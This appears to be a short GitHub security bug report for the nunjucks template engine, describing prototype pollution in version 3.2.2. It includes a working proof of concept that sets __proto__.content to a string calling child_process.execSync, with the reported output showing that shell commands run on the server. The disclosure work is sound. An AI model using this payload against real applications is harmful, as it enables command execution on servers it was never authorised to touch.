Security bug about prototype pollution

[ChenKS12138]

This is a security bug. The current version of nunjucks can be attacked by prototype pollution.
What I expected isthis is payload2 content is function(){ return global.process.mainModule.require('child_process').execSync('ls') }() , but the function returns this is payload2 content is main.js node_modules package.json yarn.lock.

Closes #1330 .

Environment

Mac os 10.15.7
Nodejs 12.18.1
nunjucks 3.2.2

The sample code is as follows.

const nunjucks = require("nunjucks");

nunjucks.configure({
  autoescape: true,
});

const template = nunjucks.compile(" content is {{ content }} ");

const payload = { };

payload.__proto__.content =
  " function(){ return global.process.mainModule.require('child_process').execSync('whoami') }() ";

console.log("this is payload2 ", template.render(payload));